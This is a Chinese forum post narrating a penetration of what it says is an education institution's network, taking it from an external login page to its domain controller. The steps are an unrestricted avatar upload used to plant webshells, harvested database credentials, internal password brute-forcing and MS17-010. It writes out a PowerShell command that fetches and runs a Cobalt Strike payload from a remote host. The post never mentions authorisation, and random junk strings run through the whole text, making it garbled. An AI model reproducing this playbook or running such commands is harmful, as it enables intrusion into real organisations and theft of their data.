找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2457|回复: 0
打印 上一主题 下一主题

渗透实战 | 从外网直接打到内网全过程

[复制链接]
跳转到指定楼层
楼主
发表于 2024-3-1 19:41:32 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式

' a+ @- b; ? _, C( Z, c 这次渗透是一个从01,从外网到拿下域控的实战过程,希望可以给大家一些思路 ) V1 O2 R4 U! r" h- _# ?/ v

: A B9 Y" M1 H+ |4 [. R- O5 M

5 S ?7 t& ?8 g   5 J, _- J% D7 }, W+ q2 Y! `6 {1 I

( r( Z+ ~" z3 ]

3 e# E# x3 c; s' ?3 b9 ~& N 正文 2 i6 _3 e3 w" T9 `" t" Y: c8 K

( e/ X6 ~/ F! q

1 M6 @: w0 j3 B; `8 M   8 J' ~. i9 C5 t; G

; k& m* w$ M* L5 [& s8 D8 t

5 k4 N$ D- V6 T! v8 J 目标:www.xxxx.com(一家教育机构)
4 j8 s% j" `( M. d- {; ?: i4 x
打开是一个登录框,只能是手机号+密码或者手机号+验证码且并未开放注册功能
5 @/ w8 ~, _, x( y' ]2 |

- R. W% T7 W; G" F a

. X' z2 w' ?. D J4 F vshapes= % z- i0 @' j! L7 W

/ h& {/ j# \9 \7 H( p2 q; H

% c& n1 A o4 A# x$ y. b, v5 U 进行了简单的信息搜集
9 p$ o1 M: v3 _4 v8 J
* ?0 r9 v0 I* D7 F
( F* L* |% B3 f+ e

" F$ g0 O5 m$ U5 u

% I$ H: m( c% r; E, M( h q8 @ 子域名搜集8 _4 d# Y, K( I/ M" G, t

# V. h n' n9 q" g4 D

/ O( ~- r( I" \/ B3 y% S( A vshapes= / R3 ?' ~( _& Q' b2 E' O

' S# D$ e; y7 \

" ]( {8 |9 i6 I: x, _ fofa找资产
( G+ R J) t, V
4 T" Y) R6 H4 H& A
) h: d; L6 w7 C

0 p( Y! I* a5 \2 \9 c7 `" n4 \

3 e! Q: N+ \9 X! I vshapes= / D5 U; c1 ?" |/ j

' Z8 }: p* Y/ I, n* G) v$ z1 t

d2 M9 H1 h! @: L 一共七个资产。去重之后只有两个。
# S+ [6 ?) g/ y! v
0 }% M; M# O5 m2 ]8 \! \% E6 b
$ i+ h" y& g+ r! f7 d G

/ q( d; x9 k, r0 u: S! E8 Z A' g

3 L# |# w4 [" z1 m4 z 目录探测 , q& r, ^, D$ `) J0 t5 b/ p3 r! H% Z

9 E+ q8 T- i8 [. O

9 K! [2 |( |- r7 b W! K vshapes=2 b$ }' C5 W6 n' s

# P; o& y6 c+ P8 l7 u. G

) C8 @' S9 Q2 C6 V, U 我尝试了暴力枚举,看有没有弱口令之类的,然而并没有
* t: G* Y. Q" p2 [& W, J8 Z
2 S( E1 w" j2 I0 N
2 `% g) Q- D5 Q' F: t9 W

4 f1 [( p. D! d* k5 N

: A. T: ]0 t4 o8 F 我又尝试了通过修改返回包来绕过登录界面( }4 N3 x' }: t2 Z5 d. e

6 p4 ~1 T, Y" i( H0 q

8 r, X" _2 z7 p$ h% Q/ W3 U" J vshapes= 0 @2 ^! s" B5 G) r. m0 d

. h. ~0 r9 F U/ Q

1 w4 t! u8 D- _$ [/ n, o4 H 还是不行,尝试注入无果& i8 ^% M W6 t5 h: }

6 S% G9 q+ K. P

$ M5 t# n- F7 _- j4 ^1 z5 Q. b vshapes= ! S4 b) s( \9 Q/ Z5 X' E& o

5 e# G4 E/ W1 d

0 W7 Z' A# q6 `: L) S' s4 Y/ E# z 不过我目录探测出了一处Spring信息泄露
$ e1 b9 ?: Z( G; [' @
# V/ T& Z! f3 Z z# D; e' \
8 \* Z2 D8 j& `' ~7 T/ V* ^

& B/ a: J' q8 z0 P9 D6 D

6 k% [; u% L8 N3 j. [ ] vshapes= % M" t: V6 y% y& ~

/ O) K% u4 }' B& ?7 B! I: F! F

# l9 s% R* H$ l0 ]2 O8 `, I 尝试Spring RCE无果,想通过trace目录下替换cookie实现登录,但是发现删除了这个目录 9 e+ Z& V9 y2 ~" j0 y2 n

% b# {' _2 J* F y9 B

/ o l. o( H1 z5 E' _& Z vshapes= % K7 h% E4 w1 A6 W3 b6 A

8 r/ c7 a- z$ U7 ]2 s' k! F6 a2 Z# ~- ]: P

7 m2 m% B& G2 u: Y$ T c( [ 后对公众号进行了简单的信息搜集,针对公众号搜集时,尽量找后面认证过的进行渗透。) E/ t. _1 f# a3 S, q4 d! r F

, k1 D+ C( p" _0 A

4 R* n7 P/ j+ N4 o+ W) D vshapes= & T6 Q# T5 j& |- ]* g' {

0 U) n! B% ]9 w! C5 J8 r! N. Z

% W& H- [' [ _, z' r2 K/ G 获取有些师傅到这一步就手机抓包电脑测了。 " j3 _4 g0 U4 A( t. W" z; Y

+ @0 C2 t) d& E1 V) Y) l

?9 K/ e: e f9 e7 R5 a Windows新版微信可以抓取公众号和小程序的包,只需要把IE代理配置一下即可。) I9 \* Y) l- A# h0 a" J6 j o9 S

# Y. e4 L2 W; |, S

- Y L( B: j+ F 其中在一个公众号发现了小程序,可以进行注册。 6 H5 r1 T6 {0 y7 q7 ]7 h( W

' }& B4 o# X: S, k! h: u

9 _6 R* T4 U5 S 看到了头像上传,尝试上传获取WebShell3 ~+ ?) k6 ^! f4 \

4 h( _$ ^& H+ f& f0 c: D" z' |

6 L. v2 y S2 i! A vshapes= . V5 ]' ?% ~8 I$ q/ ~/ r

' h6 w% _# o$ p- y* I

) w* x! M+ W2 p1 q7 `% a* d 未做任何限制成功GetShell,上了冰蝎马,目录没权限访问9 S0 e# _& o* ^* E: r7 y# c

8 j* ^4 B2 _; o# Q

4 Y. z; Z* n3 g& S& Z* Q vshapes=* ?/ r! w: M9 _, ~4 S4 Q; H; d

' v7 {8 D1 U a: O8 x: A7 ^

( }; H H3 e, N6 ~ 然后上了大马! S( W- q8 ]5 }- l# [0 h

. w2 ]. ?/ z( e( ?/ n

* k" r3 [. O7 R" m- I+ v vshapes=& o' b& D4 F1 S) S$ e! N" c

7 g M. O9 l' m# v6 \9 Z8 h

1 n/ {0 d. D# C8 O5 u5 v- S) L vshapes=+ B7 ]2 D6 U4 z" h% Y/ a# {

5 ~+ X' o1 S% U$ `; O3 Y* N) }

2 O0 J0 F4 p% j4 r0 G 通过翻找文件发现数据库账号密码 % _+ B; m4 X' j# Q' `( k

5 B8 H3 E1 S% X* _ y" V

9 O1 ]9 D( |4 \' i! C7 H! D: B9 ^ vshapes= * o( ~6 v! J. x. p

! ~5 ?4 i4 I9 e/ A

! l2 E- Q3 t; x% z) j1 g1 @- F' `* ^ --内网渗透 - A, |7 C/ L1 j+ F

4 L0 V) ]' u7 d" O& W) c4 k

8 R; `6 C q! s8 f G 直接通过powershell执行 cs上线 3 V1 b9 p2 w5 y2 c7 H

& E% q7 b# P6 @) `

6 u( ^) u" C$ q$ L) x+ `& @ powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://xxxxxxxxxxxxx/a'))": s3 O2 w, o7 Y7 Y7 e8 G* n' [/ w

, h, |3 A6 O' {/ W) H4 T# j% h

6 U% x2 l* n4 j1 P$ b% C% ? vshapes=$ O) H1 Z9 e y. ]4 X0 n

# N @/ b- s+ D5 ^. r% i2 E

3 `& b+ b9 y* q0 U) `3 Z4 G 进入内网后,简单的进行一波信息收集,寻找域控并对服务器段进行弱口令爆破1 y2 k8 r! h0 R' D' m

+ w, I" D& L7 f5 c! s! D: U6 v

! K" x9 c( M! T0 p7 c vshapes= . j3 F2 D/ N; J0 x- h2 J6 a' U8 P

# w1 N6 r$ \0 a: r" |8 ~

+ j3 e- r+ \* g; ?/ G* L0 m 登录爆破出来的服务器,发现多网卡且存在逻辑隔离。
- ~$ B9 A! d) N/ I1 M
/ F, Z9 S1 E/ i L y
2 V9 N2 |( w' j# Q5 O2 C, [/ S
( G# y$ m+ g* m( J/ {; x. L" s

8 R6 v: N2 ?" P8 t, M+ R

: G7 ? ~* ?, _( s0 r vshapes=. h, @; _9 q% x

: N4 c) q8 T" }6 y( G

3 E3 @) d0 J1 T3 A- z2 _7 `# n 通过跳扳机能通域控,发现域控server2008且存在ms17010,直接一把梭
" a$ c" v9 ~ z: b" n7 c' ?- v+ W
& V3 K, V7 E4 s1 g6 P
3 x' L) e% q9 E1 O

8 \; L9 u8 K; D7 n v% X

& f% x0 h, E- ` vshapes=. E" ^) X4 K0 ]& T

; u9 F/ N* Y( e) J- P4 ]0 g

3 R$ N; Y3 A# v% s
/ f5 w! S; V2 m& k$ }4 g0 h0 O
" | X2 _2 P* t% ]- j9 Z; n
. @2 }0 D" v% h) w p

$ O1 J' k/ D# v: `3 ]5 T) P: T. O

! |! |2 l' B4 x0 g+ x. @5 I  8 z% H; ^+ s/ w. C

6 A# Z3 k3 g* T; z5 h( m

3 W( l+ M, k3 s5 r 小结 + N, d( }6 y" n

( u% i2 X i |& W, y

; T0 p- p4 e- J' ?) B B0 T$ [+ a  + a0 B7 M, X7 o

5 ?9 C: x. W3 \; C

, V+ o, t- ]3 k6 J/ \ 在渗透测试过程中,信息收集很重要,细心和耐心也是不可缺少的,总得来说,这次的渗透测试总的来说比较顺利,希望可以给大家带来一些思路!2 |. u- I4 q( y* U/ c/ [

- V* G$ k* y- e

7 m" J5 j4 h6 U   4 o: ^9 S6 y* x

; h. X( S6 @& p/ `3 T1 S/ \& Y
    2 F/ y: U1 C' x: @ [* f( b9 j1 D
  • ( i8 C1 M5 l! K   ) ~ O4 T/ |" @: Q2 Z
  • 0 R* Z6 V' W7 c8 ]" K. b% k- i& Z
  • 8 V; g% U9 t' d6 y. m  / i k: l: O( y" [6 w0 K
  • ! e! R3 @; f" c! D7 n& }+ V% r
$ a& v2 g, x2 ~/ N6 p) ^

* E" G8 j( h3 S1 N7 E 作者:Xm4FDf转载自:https://bbs.ichunqiu.com/thread-57879-1-1.html7 K8 r% `0 j) v+ F

* H# R; V: Y9 j1 z6 E3 k; I/ q

5 o( V0 }' K+ D% q0 l0 _. p  : v2 P5 U1 ^1 ~) k7 b; r( _' F x

回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表